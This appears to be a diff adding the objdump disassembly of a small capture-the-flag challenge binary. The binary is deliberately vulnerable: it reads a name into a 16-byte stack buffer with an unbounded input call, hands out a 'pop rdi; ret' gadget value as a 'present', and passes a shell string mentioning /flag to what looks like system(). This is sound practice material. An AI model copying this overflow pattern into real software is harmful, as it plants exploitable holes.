+ 4010cb: 74 13 je 4010e0 (File Offset: 0x10e0)
+ 4010cd: b8 00 00 00 00 mov eax,0x0
+ 4010d2: 48 85 c0 test rax,rax
+ 4010d5: 74 09 je 4010e0 (File Offset: 0x10e0)
+ 4010d7: bf 38 40 40 00 mov edi,0x404038
+ 4010dc: ff e0 jmp rax
+ 4010de: 66 90 xchg ax,ax
+ 4010e0: c3 ret
+ 4010e1: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
+ 4010e8: 00 00 00 00
+ 4010ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+
+00000000004010f0 (File Offset: 0x10f0):
+ 4010f0: be 38 40 40 00 mov esi,0x404038
+ 4010f5: 48 81 ee 38 40 40 00 sub rsi,0x404038
+ 4010fc: 48 89 f0 mov rax,rsi
+ 4010ff: 48 c1 ee 3f shr rsi,0x3f
+ 401103: 48 c1 f8 03 sar rax,0x3
+ 401107: 48 01 c6 add rsi,rax
+ 40110a: 48 d1 fe sar rsi,1
+ 40110d: 74 11 je 401120 (File Offset: 0x1120)
+ 40110f: b8 00 00 00 00 mov eax,0x0
+ 401114: 48 85 c0 test rax,rax
+ 401117: 74 07 je 401120 (File Offset: 0x1120)
+ 401119: bf 38 40 40 00 mov edi,0x404038
+ 40111e: ff e0 jmp rax
+ 401120: c3 ret
+ 401121: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
+ 401128: 00 00 00 00
+ 40112c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+
+0000000000401130 <__do_global_dtors_aux> (File Offset: 0x1130):
+ 401130: f3 0f 1e fa endbr64
+ 401134: 80 3d 2d 2f 00 00 00 cmp BYTE PTR [rip+0x2f2d],0x0 # 404068 (File Offset: 0x4068)
+ 40113b: 75 13 jne 401150 <__do_global_dtors_aux+0x20> (File Offset: 0x1150)
+ 40113d: 55 push rbp
+ 40113e: 48 89 e5 mov rbp,rsp
+ 401141: e8 7a ff ff ff call 4010c0 (File Offset: 0x10c0)
+ 401146: c6 05 1b 2f 00 00 01 mov BYTE PTR [rip+0x2f1b],0x1 # 404068 (File Offset: 0x4068)
+ 40114d: 5d pop rbp
+ 40114e: c3 ret
+ 40114f: 90 nop
+ 401150: c3 ret
+ 401151: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
+ 401158: 00 00 00 00
+ 40115c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+
+0000000000401160 (File Offset: 0x1160):
+ 401160: f3 0f 1e fa endbr64
+ 401164: eb 8a jmp 4010f0 (File Offset: 0x10f0)
+
+0000000000401166 (File Offset: 0x1166):
+ 401166: 55 push rbp
+ 401167: 48 89 e5 mov rbp,rsp
+ 40116a: 48 8b 05 cf 2e 00 00 mov rax,QWORD PTR [rip+0x2ecf] # 404040 (File Offset: 0x4040)
+ 401171: b9 00 00 00 00 mov ecx,0x0
+ 401176: ba 02 00 00 00 mov edx,0x2
+ 40117b: be 00 00 00 00 mov esi,0x0
+ 401180: 48 89 c7 mov rdi,rax
+ 401183: e8 e8 fe ff ff call 401070 (File Offset: 0x1070)
+ 401188: 48 8b 05 c1 2e 00 00 mov rax,QWORD PTR [rip+0x2ec1] # 404050 (File Offset: 0x4050)
+ 40118f: b9 00 00 00 00 mov ecx,0x0
+ 401194: ba 02 00 00 00 mov edx,0x2
+ 401199: be 00 00 00 00 mov esi,0x0
+ 40119e: 48 89 c7 mov rdi,rax
+ 4011a1: e8 ca fe ff ff call 401070 (File Offset: 0x1070)
+ 4011a6: 48 8b 05 b3 2e 00 00 mov rax,QWORD PTR [rip+0x2eb3] # 404060 (File Offset: 0x4060)
+ 4011ad: b9 00 00 00 00 mov ecx,0x0
+ 4011b2: ba 02 00 00 00 mov edx,0x2
+ 4011b7: be 00 00 00 00 mov esi,0x0
+ 4011bc: 48 89 c7 mov rdi,rax
+ 4011bf: e8 ac fe ff ff call 401070 (File Offset: 0x1070)
+ 4011c4: 90 nop
+ 4011c5: 5d pop rbp
+ 4011c6: c3 ret
+
+00000000004011c7 (File Offset: 0x11c7):
+ 4011c7: 55 push rbp
+ 4011c8: 48 89 e5 mov rbp,rsp
+ 4011cb: 48 8d 05 36 0e 00 00 lea rax,[rip+0xe36] # 402008 <_IO_stdin_used+0x8> (File Offset: 0x2008)
+ 4011d2: 48 89 c7 mov rdi,rax
+ 4011d5: e8 66 fe ff ff call 401040 (File Offset: 0x1040)
+ 4011da: 90 nop
+ 4011db: 5d pop rbp
+ 4011dc: c3 ret
+
+00000000004011dd (File Offset: 0x11dd):
+ 4011dd: 55 push rbp
+ 4011de: 48 89 e5 mov rbp,rsp
+ 4011e1: 48 83 ec 10 sub rsp,0x10
+ 4011e5: 48 8d 05 36 0e 00 00 lea rax,[rip+0xe36] # 402022 <_IO_stdin_used+0x22> (File Offset: 0x2022)
+ 4011ec: 48 89 c7 mov rdi,rax
+ 4011ef: e8 3c fe ff ff call 401030 (File Offset: 0x1030)
+ 4011f4: 48 8d 45 f0 lea rax,[rbp-0x10]
+ 4011f8: 48 89 c7 mov rdi,rax
+ 4011fb: e8 60 fe ff ff call 401060 (File Offset: 0x1060)
+ 401200: 48 8d 45 f0 lea rax,[rbp-0x10]
+ 401204: ba 5f c3 00 00 mov edx,0xc35f
+ 401209: 48 89 c6 mov rsi,rax
+ 40120c: 48 8d 05 25 0e 00 00 lea rax,[rip+0xe25] # 402038 <_IO_stdin_used+0x38> (File Offset: 0x2038)
+ 401213: 48 89 c7 mov rdi,rax
+ 401216: b8 00 00 00 00 mov eax,0x0
+ 40121b: e8 30 fe ff ff call 401050 (File Offset: 0x1050)
+ 401220: 90 nop
+ 401221: c9 leave
+ 401222: c3 ret
+
+0000000000401223 (File Offset: 0x1223):
+ 401223: 55 push rbp
+ 401224: 48 89 e5 mov rbp,rsp
+ 401227: 48 83 ec 10 sub rsp,0x10
+ 40122b: 89 7d fc mov DWORD PTR [rbp-0x4],edi
+ 40122e: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
+ 401232: b8 00 00 00 00 mov eax,0x0
+ 401237: e8 2a ff ff ff call 401166 (File Offset: 0x1166)
+ 40123c: b8 00 00 00 00 mov eax,0x0
+ 401241: e8 97 ff ff ff call 4011dd (File Offset: 0x11dd)
+ 401246: b8 00 00 00 00 mov eax,0x0
+ 40124b: c9 leave
+ 40124c: c3 ret
+
+Disassembly of section .fini:
+
+0000000000401250 <_fini> (File Offset: 0x1250):
+ 401250: 48 83 ec 08 sub rsp,0x8
+ 401254: 48 83 c4 08 add rsp,0x8
+ 401258: c3 ret
+
+Disassembly of section .rodata:
+
+0000000000402000 <_IO_stdin_used> (File Offset: 0x2000):
+ 402000: 01 00 add DWORD PTR [rax],eax
+ 402002: 02 00 add al,BYTE PTR [rax]
+ 402004: 00 00 add BYTE PTR [rax],al
+ 402006: 00 00 add BYTE PTR [rax],al
+ 402008: 65 63 68 6f movsxd ebp,DWORD PTR gs:[rax+0x6f]
+ 40200c: 20 6e 6f and BYTE PTR [rsi+0x6f],ch
+ 40200f: 20 63 61 and BYTE PTR [rbx+0x61],ah
+ 402012: 74 20 je 402034 <_IO_stdin_used+0x34> (File Offset: 0x2034)
+ 402014: 2f (bad)
+ 402015: 66 6c data16 ins BYTE PTR es:[rdi],dx
+ 402017: 61 (bad)
+ 402018: 67 20 66 6f and BYTE PTR [esi+0x6f],ah
+ 40201c: 72 20 jb 40203e <_IO_stdin_used+0x3e> (File Offset: 0x203e)
+ 40201e: 79 6f jns 40208f <__GNU_EH_FRAME_HDR+0x2f> (File Offset: 0x208f)
+ 402020: 75 00 jne 402022 <_IO_stdin_used+0x22> (File Offset: 0x2022)
+ 402022: 57 push rdi
+ 402023: 68 61 74 20 69 push 0x69207461
+ 402028: 73 20 jae 40204a <_IO_stdin_used+0x4a> (File Offset: 0x204a)
+ 40202a: 79 6f jns 40209b <__GNU_EH_FRAME_HDR+0x3b> (File Offset: 0x209b)
+ 40202c: 75 72 jne 4020a0 <__GNU_EH_FRAME_HDR+0x40> (File Offset: 0x20a0)
+ 40202e: 20 6e 61 and BYTE PTR [rsi+0x61],ch
+ 402031: 6d ins DWORD PTR es:[rdi],dx
+ 402032: 65 3f gs (bad)
+ 402034: 00 00 add BYTE PTR [rax],al
+ 402036: 00 00 add BYTE PTR [rax],al
+ 402038: 48 rex.W
+ 402039: 65 6c gs ins BYTE PTR es:[rdi],dx
+ 40203b: 6c ins BYTE PTR es:[rdi],dx
+ 40203c: 6f outs dx,DWORD PTR ds:[rsi]
+ 40203d: 20 25 73 21 0a 49 and BYTE PTR [rip+0x490a2173],ah # 494a41b6 <_end+0x490a0146> (File Offset: 0x490a41b6)
+ 402043: 20 68 61 and BYTE PTR [rax+0x61],ch
+ 402046: 76 65 jbe 4020ad <__GNU_EH_FRAME_HDR+0x4d> (File Offset: 0x20ad)
+ 402048: 20 61 20 and BYTE PTR [rcx+0x20],ah
+ 40204b: 70 72 jo 4020bf <__GNU_EH_FRAME_HDR+0x5f> (File Offset: 0x20bf)
+ 40204d: 65 73 65 gs jae 4020b5 <__GNU_EH_FRAME_HDR+0x55> (File Offset: 0x20b5)
+ 402050: 6e outs dx,BYTE PTR ds:[rsi]
+ 402051: 74 20 je 402073 <__GNU_EH_FRAME_HDR+0x13> (File Offset: 0x2073)
+ 402053: 66 6f outs dx,WORD PTR ds:[rsi]
+ 402055: 72 20 jb 402077 <__GNU_EH_FRAME_HDR+0x17> (File Offset: 0x2077)
+ 402057: 79 6f jns 4020c8 <__GNU_EH_FRAME_HDR+0x68> (File Offset: 0x20c8)
+ 402059: 75 3a jne 402095 <__GNU_EH_FRAME_HDR+0x35> (File Offset: 0x2095)
+ 40205b: 20 .byte 0x20
+ 40205c: 25 .byte 0x25
+ 40205d: 64 0a 00 or al,BYTE PTR fs:[rax]
+
+Disassembly of section .eh_frame_hdr:
+
+0000000000402060 <__GNU_EH_FRAME_HDR> (File Offset: 0x2060):
+ 402060: 01 1b add DWORD PTR [rbx],ebx
+ 402062: 03 3b add edi,DWORD PTR [rbx]
+ 402064: 44 00 00 add BYTE PTR [rax],r8b
+ 402067: 00 07 add BYTE PTR [rdi],al
+ 402069: 00 00 add BYTE PTR [rax],al
+ 40206b: 00 c0 add al,al
+ 40206d: ef out dx,eax
+ 40206e: ff (bad)
+ 40206f: ff a0 00 00 00 20 jmp QWORD PTR [rax+0x20000000]
+ 402075: f0 ff lock (bad)
+ 402077: ff 60 00 jmp QWORD PTR [rax+0x0]
+ 40207a: 00 00 add BYTE PTR [rax],al
+ 40207c: 50 push rax
+ 40207d: f0 ff lock (bad)
+ 40207f: ff 8c 00 00 00 06 f1 dec DWORD PTR [rax+rax*1-0xefa0000]
+ 402086: ff (bad)
+ 402087: ff c8 dec eax
+ 402089: 00 00 add BYTE PTR [rax],al
+ 40208b: 00 67 f1 add BYTE PTR [rdi-0xf],ah
+ 40208e: ff (bad)
+ 40208f: ff jmp (bad)
+ 402090: e8 00 00 00 7d call 7d402095 <_end+0x7cffe025> (File Offset: 0x7d002095)
+ 402095: f1 int1
+ 402096: ff (bad)
+ 402097: ff 08 dec DWORD PTR [rax]
+ 402099: 01 00 add DWORD PTR [rax],eax
+ 40209b: 00 c3 add bl,al
+ 40209d: f1 int1
+ 40209e: ff (bad)
+ 40209f: ff 28 jmp FWORD PTR [rax]
+ 4020a1: 01 00 add DWORD PTR [rax],eax
+ ...
+
+Disassembly of section .eh_frame:
+
+00000000004020a8 <__FRAME_END__-0x100> (File Offset: 0x20a8):
+ 4020a8: 14 00 adc al,0x0
+ 4020aa: 00 00 add BYTE PTR [rax],al
+ 4020ac: 00 00 add BYTE PTR [rax],al
+ 4020ae: 00 00 add BYTE PTR [rax],al
+ 4020b0: 01 7a 52 add DWORD PTR [rdx+0x52],edi
+ 4020b3: 00 01 add BYTE PTR [rcx],al
+ 4020b5: 78 10 js 4020c7 <__GNU_EH_FRAME_HDR+0x67> (File Offset: 0x20c7)
+ 4020b7: 01 1b add DWORD PTR [rbx],ebx
+ 4020b9: 0c 07 or al,0x7
+ 4020bb: 08 90 01 07 10 10 or BYTE PTR [rax+0x10100701],dl
+ 4020c1: 00 00 add BYTE PTR [rax],al
+ 4020c3: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 4020c6: 00 00 add BYTE PTR [rax],al
+ 4020c8: b8 ef ff ff 22 mov eax,0x22ffffef
+ 4020cd: 00 00 add BYTE PTR [rax],al
+ 4020cf: 00 00 add BYTE PTR [rax],al
+ 4020d1: 00 00 add BYTE PTR [rax],al
+ 4020d3: 00 14 00 add BYTE PTR [rax+rax*1],dl
+ 4020d6: 00 00 add BYTE PTR [rax],al
+ 4020d8: 00 00 add BYTE PTR [rax],al
+ 4020da: 00 00 add BYTE PTR [rax],al
+ 4020dc: 01 7a 52 add DWORD PTR [rdx+0x52],edi
+ 4020df: 00 01 add BYTE PTR [rcx],al
+ 4020e1: 78 10 js 4020f3 <__GNU_EH_FRAME_HDR+0x93> (File Offset: 0x20f3)
+ 4020e3: 01 1b add DWORD PTR [rbx],ebx
+ 4020e5: 0c 07 or al,0x7
+ 4020e7: 08 90 01 00 00 10 or BYTE PTR [rax+0x10000001],dl
+ 4020ed: 00 00 add BYTE PTR [rax],al
+ 4020ef: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 4020f2: 00 00 add BYTE PTR [rax],al
+ 4020f4: bc ef ff ff 01 mov esp,0x1ffffef
+ 4020f9: 00 00 add BYTE PTR [rax],al
+ 4020fb: 00 00 add BYTE PTR [rax],al
+ 4020fd: 00 00 add BYTE PTR [rax],al
+ 4020ff: 00 24 00 add BYTE PTR [rax+rax*1],ah
+ 402102: 00 00 add BYTE PTR [rax],al
+ 402104: 30 00 xor BYTE PTR [rax],al
+ 402106: 00 00 add BYTE PTR [rax],al
+ 402108: 18 ef sbb bh,ch
+ 40210a: ff (bad)
+ 40210b: ff 60 00 jmp QWORD PTR [rax+0x0]
+ 40210e: 00 00 add BYTE PTR [rax],al
+ 402110: 00 0e add BYTE PTR [rsi],cl
+ 402112: 10 46 0e adc BYTE PTR [rsi+0xe],al
+ 402115: 18 4a 0f sbb BYTE PTR [rdx+0xf],cl
+ 402118: 0b 77 08 or esi,DWORD PTR [rdi+0x8]
+ 40211b: 80 00 3f add BYTE PTR [rax],0x3f
+ 40211e: 1a 3b sbb bh,BYTE PTR [rbx]
+ 402120: 2a 33 sub dh,BYTE PTR [rbx]
+ 402122: 24 22 and al,0x22
+ 402124: 00 00 add BYTE PTR [rax],al
+ 402126: 00 00 add BYTE PTR [rax],al
+ 402128: 1c 00 sbb al,0x0
+ 40212a: 00 00 add BYTE PTR [rax],al
+ 40212c: 58 pop rax
+ 40212d: 00 00 add BYTE PTR [rax],al
+ 40212f: 00 36 add BYTE PTR [rsi],dh
+ 402131: f0 ff lock (bad)
+ 402133: ff 61 00 jmp QWORD PTR [rcx+0x0]
+ 402136: 00 00 add BYTE PTR [rax],al
+ 402138: 00 41 0e add BYTE PTR [rcx+0xe],al
+ 40213b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ 402141: 02 5c 0c 07 add bl,BYTE PTR [rsp+rcx*1+0x7]
+ 402145: 08 00 or BYTE PTR [rax],al
+ 402147: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 40214a: 00 00 add BYTE PTR [rax],al
+ 40214c: 78 00 js 40214e <__GNU_EH_FRAME_HDR+0xee> (File Offset: 0x214e)
+ 40214e: 00 00 add BYTE PTR [rax],al
+ 402150: 77 f0 ja 402142 <__GNU_EH_FRAME_HDR+0xe2> (File Offset: 0x2142)
+ 402152: ff (bad)
+ 402153: ff 16 call QWORD PTR [rsi]
+ 402155: 00 00 add BYTE PTR [rax],al
+ 402157: 00 00 add BYTE PTR [rax],al
+ 402159: 41 0e rex.B (bad)
+ 40215b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ 402161: 51 push rcx
+ 402162: 0c 07 or al,0x7
+ 402164: 08 00 or BYTE PTR [rax],al
+ 402166: 00 00 add BYTE PTR [rax],al
+ 402168: 1c 00 sbb al,0x0
+ 40216a: 00 00 add BYTE PTR [rax],al
+ 40216c: 98 cwde
+ 40216d: 00 00 add BYTE PTR [rax],al
+ 40216f: 00 6d f0 add BYTE PTR [rbp-0x10],ch
+ 402172: ff (bad)
+ 402173: ff 46 00 inc DWORD PTR [rsi+0x0]
+ 402176: 00 00 add BYTE PTR [rax],al
+ 402178: 00 41 0e add BYTE PTR [rcx+0xe],al
+ 40217b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ 402181: 02 41 0c add al,BYTE PTR [rcx+0xc]
+ 402184: 07 (bad)
+ 402185: 08 00 or BYTE PTR [rax],al
+ 402187: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 40218a: 00 00 add BYTE PTR [rax],al
+ 40218c: b8 00 00 00 93 mov eax,0x93000000
+ 402191: f0 ff lock (bad)
+ 402193: ff 2a jmp FWORD PTR [rdx]
+ 402195: 00 00 add BYTE PTR [rax],al
+ 402197: 00 00 add BYTE PTR [rax],al
+ 402199: 41 0e rex.B (bad)
+ 40219b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ 4021a1: 65 0c 07 gs or al,0x7
+ 4021a4: 08 00 or BYTE PTR [rax],al
+ ...
+
+00000000004021a8 <__FRAME_END__> (File Offset: 0x21a8):
+ 4021a8: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .init_array:
+
+0000000000403df8 <__frame_dummy_init_array_entry> (File Offset: 0x2df8):
+ 403df8: 60 (bad)
+ 403df9: 11 40 00 adc DWORD PTR [rax+0x0],eax
+ 403dfc: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .fini_array:
+
+0000000000403e00 <__do_global_dtors_aux_fini_array_entry> (File Offset: 0x2e00):
+ 403e00: 30 11 xor BYTE PTR [rcx],dl
+ 403e02: 40 00 00 rex add BYTE PTR [rax],al
+ 403e05: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .dynamic:
+
+0000000000403e08 <_DYNAMIC> (File Offset: 0x2e08):
+ 403e08: 01 00 add DWORD PTR [rax],eax
+ 403e0a: 00 00 add BYTE PTR [rax],al
+ 403e0c: 00 00 add BYTE PTR [rax],al
+ 403e0e: 00 00 add BYTE PTR [rax],al
+ 403e10: 47 00 00 rex.RXB add BYTE PTR [r8],r8b
+ 403e13: 00 00 add BYTE PTR [rax],al
+ 403e15: 00 00 add BYTE PTR [rax],al
+ 403e17: 00 0c 00 add BYTE PTR [rax+rax*1],cl
+ 403e1a: 00 00 add BYTE PTR [rax],al
+ 403e1c: 00 00 add BYTE PTR [rax],al
+ 403e1e: 00 00 add BYTE PTR [rax],al
+ 403e20: 00 10 add BYTE PTR [rax],dl
+ 403e22: 40 00 00 rex add BYTE PTR [rax],al
+ 403e25: 00 00 add BYTE PTR [rax],al
+ 403e27: 00 0d 00 00 00 00 add BYTE PTR [rip+0x0],cl # 403e2d <_DYNAMIC+0x25> (File Offset: 0x2e2d)
+ 403e2d: 00 00 add BYTE PTR [rax],al
+ 403e2f: 00 50 12 add BYTE PTR [rax+0x12],dl
+ 403e32: 40 00 00 rex add BYTE PTR [rax],al
+ 403e35: 00 00 add BYTE PTR [rax],al
+ 403e37: 00 19 add BYTE PTR [rcx],bl
+ 403e39: 00 00 add BYTE PTR [rax],al
+ 403e3b: 00 00 add BYTE PTR [rax],al
+ 403e3d: 00 00 add BYTE PTR [rax],al
+ 403e3f: 00 f8 add al,bh
+ 403e41: 3d 40 00 00 00 cmp eax,0x40
+ 403e46: 00 00 add BYTE PTR [rax],al
+ 403e48: 1b 00 sbb eax,DWORD PTR [rax]
+ 403e4a: 00 00 add BYTE PTR [rax],al
+ 403e4c: 00 00 add BYTE PTR [rax],al
+ 403e4e: 00 00 add BYTE PTR [rax],al
+ 403e50: 08 00 or BYTE PTR [rax],al
+ 403e52: 00 00 add BYTE PTR [rax],al
+ 403e54: 00 00 add BYTE PTR [rax],al
+ 403e56: 00 00 add BYTE PTR [rax],al
+ 403e58: 1a 00 sbb al,BYTE PTR [rax]
+ 403e5a: 00 00 add BYTE PTR [rax],al
+ 403e5c: 00 00 add BYTE PTR [rax],al
+ 403e5e: 00 00 add BYTE PTR [rax],al
+ 403e60: 00 3e add BYTE PTR [rsi],bh
+ 403e62: 40 00 00 rex add BYTE PTR [rax],al
+ 403e65: 00 00 add BYTE PTR [rax],al
+ 403e67: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 403e6a: 00 00 add BYTE PTR [rax],al
+ 403e6c: 00 00 add BYTE PTR [rax],al
+ 403e6e: 00 00 add BYTE PTR [rax],al
+ 403e70: 08 00 or BYTE PTR [rax],al
+ 403e72: 00 00 add BYTE PTR [rax],al
+ 403e74: 00 00 add BYTE PTR [rax],al
+ 403e76: 00 00 add BYTE PTR [rax],al
+ 403e78: f5 cmc
+ 403e79: fe (bad)
+ 403e7a: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 403e7d: 00 00 add BYTE PTR [rax],al
+ 403e7f: 00 a0 03 40 00 00 add BYTE PTR [rax+0x4003],ah
+ 403e85: 00 00 add BYTE PTR [rax],al
+ 403e87: 00 05 00 00 00 00 add BYTE PTR [rip+0x0],al # 403e8d <_DYNAMIC+0x85> (File Offset: 0x2e8d)
+ 403e8d: 00 00 add BYTE PTR [rax],al
+ 403e8f: 00 d8 add al,bl
+ 403e91: 04 40 add al,0x40
+ 403e93: 00 00 add BYTE PTR [rax],al
+ 403e95: 00 00 add BYTE PTR [rax],al
+ 403e97: 00 06 add BYTE PTR [rsi],al
+ 403e99: 00 00 add BYTE PTR [rax],al
+ 403e9b: 00 00 add BYTE PTR [rax],al
+ 403e9d: 00 00 add BYTE PTR [rax],al
+ 403e9f: 00 d0 add al,dl
+ 403ea1: 03 40 00 add eax,DWORD PTR [rax+0x0]
+ 403ea4: 00 00 add BYTE PTR [rax],al
+ 403ea6: 00 00 add BYTE PTR [rax],al
+ 403ea8: 0a 00 or al,BYTE PTR [rax]
+ 403eaa: 00 00 add BYTE PTR [rax],al
+ 403eac: 00 00 add BYTE PTR [rax],al
+ 403eae: 00 00 add BYTE PTR [rax],al
+ 403eb0: 77 00 ja 403eb2 <_DYNAMIC+0xaa> (File Offset: 0x2eb2)
+ 403eb2: 00 00 add BYTE PTR [rax],al
+ 403eb4: 00 00 add BYTE PTR [rax],al
+ 403eb6: 00 00 add BYTE PTR [rax],al
+ 403eb8: 0b 00 or eax,DWORD PTR [rax]
+ 403eba: 00 00 add BYTE PTR [rax],al
+ 403ebc: 00 00 add BYTE PTR [rax],al
+ 403ebe: 00 00 add BYTE PTR [rax],al
+ 403ec0: 18 00 sbb BYTE PTR [rax],al
+ 403ec2: 00 00 add BYTE PTR [rax],al
+ 403ec4: 00 00 add BYTE PTR [rax],al
+ 403ec6: 00 00 add BYTE PTR [rax],al
+ 403ec8: 15 00 00 00 00 adc eax,0x0
+ ... (skipping 8 zeroes, resuming at file offset: 0x2ed5)
+ 403ed5: 00 00 add BYTE PTR [rax],al
+ 403ed7: 00 03 add BYTE PTR [rbx],al
+ 403ed9: 00 00 add BYTE PTR [rax],al
+ 403edb: 00 00 add BYTE PTR [rax],al
+ 403edd: 00 00 add BYTE PTR [rax],al
+ 403edf: 00 e8 add al,ch
+ 403ee1: 3f (bad)
+ 403ee2: 40 00 00 rex add BYTE PTR [rax],al
+ 403ee5: 00 00 add BYTE PTR [rax],al
+ 403ee7: 00 02 add BYTE PTR [rdx],al
+ 403ee9: 00 00 add BYTE PTR [rax],al
+ 403eeb: 00 00 add BYTE PTR [rax],al
+ 403eed: 00 00 add BYTE PTR [rax],al
+ 403eef: 00 78 00 add BYTE PTR [rax+0x0],bh
+ 403ef2: 00 00 add BYTE PTR [rax],al
+ 403ef4: 00 00 add BYTE PTR [rax],al
+ 403ef6: 00 00 add BYTE PTR [rax],al
+ 403ef8: 14 00 adc al,0x0
+ 403efa: 00 00 add BYTE PTR [rax],al
+ 403efc: 00 00 add BYTE PTR [rax],al
+ 403efe: 00 00 add BYTE PTR [rax],al
+ 403f00: 07 (bad)
+ 403f01: 00 00 add BYTE PTR [rax],al
+ 403f03: 00 00 add BYTE PTR [rax],al
+ 403f05: 00 00 add BYTE PTR [rax],al
+ 403f07: 00 17 add BYTE PTR [rdi],dl
+ 403f09: 00 00 add BYTE PTR [rax],al
+ 403f0b: 00 00 add BYTE PTR [rax],al
+ 403f0d: 00 00 add BYTE PTR [rax],al
+ 403f0f: 00 10 add BYTE PTR [rax],dl
+ 403f11: 06 (bad)
+ 403f12: 40 00 00 rex add BYTE PTR [rax],al
+ 403f15: 00 00 add BYTE PTR [rax],al
+ 403f17: 00 07 add BYTE PTR [rdi],al
+ 403f19: 00 00 add BYTE PTR [rax],al
+ 403f1b: 00 00 add BYTE PTR [rax],al
+ 403f1d: 00 00 add BYTE PTR [rax],al
+ 403f1f: 00 98 05 40 00 00 add BYTE PTR [rax+0x4005],bl
+ 403f25: 00 00 add BYTE PTR [rax],al
+ 403f27: 00 08 add BYTE PTR [rax],cl
+ 403f29: 00 00 add BYTE PTR [rax],al
+ 403f2b: 00 00 add BYTE PTR [rax],al
+ 403f2d: 00 00 add BYTE PTR [rax],al
+ 403f2f: 00 78 00 add BYTE PTR [rax+0x0],bh
+ 403f32: 00 00 add BYTE PTR [rax],al
+ 403f34: 00 00 add BYTE PTR [rax],al
+ 403f36: 00 00 add BYTE PTR [rax],al
+ 403f38: 09 00 or DWORD PTR [rax],eax
+ 403f3a: 00 00 add BYTE PTR [rax],al
+ 403f3c: 00 00 add BYTE PTR [rax],al
+ 403f3e: 00 00 add BYTE PTR [rax],al
+ 403f40: 18 00 sbb BYTE PTR [rax],al
+ 403f42: 00 00 add BYTE PTR [rax],al
+ 403f44: 00 00 add BYTE PTR [rax],al
+ 403f46: 00 00 add BYTE PTR [rax],al
+ 403f48: fe (bad)
+ 403f49: ff (bad)
+ 403f4a: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 403f4d: 00 00 add BYTE PTR [rax],al
+ 403f4f: 00 68 05 add BYTE PTR [rax+0x5],ch
+ 403f52: 40 00 00 rex add BYTE PTR [rax],al
+ 403f55: 00 00 add BYTE PTR [rax],al
+ 403f57: 00 ff add bh,bh
+ 403f59: ff (bad)
+ 403f5a: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 403f5d: 00 00 add BYTE PTR [rax],al
+ 403f5f: 00 01 add BYTE PTR [rcx],al
+ 403f61: 00 00 add BYTE PTR [rax],al
+ 403f63: 00 00 add BYTE PTR [rax],al
+ 403f65: 00 00 add BYTE PTR [rax],al
+ 403f67: 00 f0 add al,dh
+ 403f69: ff (bad)
+ 403f6a: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 403f6d: 00 00 add BYTE PTR [rax],al
+ 403f6f: 00 50 05 add BYTE PTR [rax+0x5],dl
+ 403f72: 40 00 00 rex add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .got:
+
+0000000000403fd8 <.got> (File Offset: 0x2fd8):
+ ...
+
+Disassembly of section .got.plt:
+
+0000000000403fe8 <_GLOBAL_OFFSET_TABLE_> (File Offset: 0x2fe8):
+ 403fe8: 08 3e or BYTE PTR [rsi],bh
+ 403fea: 40 00 00 rex add BYTE PTR [rax],al
+ ... (skipping 16 zeroes, resuming at file offset: 0x2ffd)
+ 403ffd: 00 00 add BYTE PTR [rax],al
+ 403fff: 00 36 add BYTE PTR [rsi],dh
+ 404001: 10 40 00 adc BYTE PTR [rax+0x0],al
+ 404004: 00 00 add BYTE PTR [rax],al
+ 404006: 00 00 add BYTE PTR [rax],al
+ 404008: 46 10 40 00 rex.RX adc BYTE PTR [rax+0x0],r8b
+ 40400c: 00 00 add BYTE PTR [rax],al
+ 40400e: 00 00 add BYTE PTR [rax],al
+ 404010: 56 push rsi
+ 404011: 10 40 00 adc BYTE PTR [rax+0x0],al
+ 404014: 00 00 add BYTE PTR [rax],al
+ 404016: 00 00 add BYTE PTR [rax],al
+ 404018: 66 10 40 00 data16 adc BYTE PTR [rax+0x0],al
+ 40401c: 00 00 add BYTE PTR [rax],al
+ 40401e: 00 00 add BYTE PTR [rax],al
+ 404020: 76 10 jbe 404032 <__dso_handle+0x2> (File Offset: 0x3032)
+ 404022: 40 00 00 rex add BYTE PTR [rax],al
+ 404025: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .data:
+
+0000000000404028 <__data_start> (File Offset: 0x3028):
+ ...
+
+0000000000404030 <__dso_handle> (File Offset: 0x3030):
+ ...
+
+Disassembly of section .comment:
+
+0000000000000000 <.comment> (File Offset: 0x3038):
+ 0: 47 rex.RXB
+ 1: 43 rex.XB
+ 2: 43 3a 20 rex.XB cmp spl,BYTE PTR [r8]
+ 5: 28 44 65 62 sub BYTE PTR [rbp+riz*2+0x62],al
+ 9: 69 61 6e 20 31 32 2e imul esp,DWORD PTR [rcx+0x6e],0x2e323120
+ 10: 32 2e xor ch,BYTE PTR [rsi]
+ 12: 30 2d 31 34 29 20 xor BYTE PTR [rip+0x20293431],ch # 20293449 <_end+0x1fe8f3d9> (File Offset: 0x20296481)
+ 18: 31 32 xor DWORD PTR [rdx],esi
+ 1a: 2e 32 2e cs xor ch,BYTE PTR [rsi]
+ 1d: 30 00 xor BYTE PTR [rax],al
+
+Disassembly of section .debug_aranges:
+
+0000000000000000 <.debug_aranges> (File Offset: 0x3057):
+ 0: 2c 00 sub al,0x0
+ 2: 00 00 add BYTE PTR [rax],al
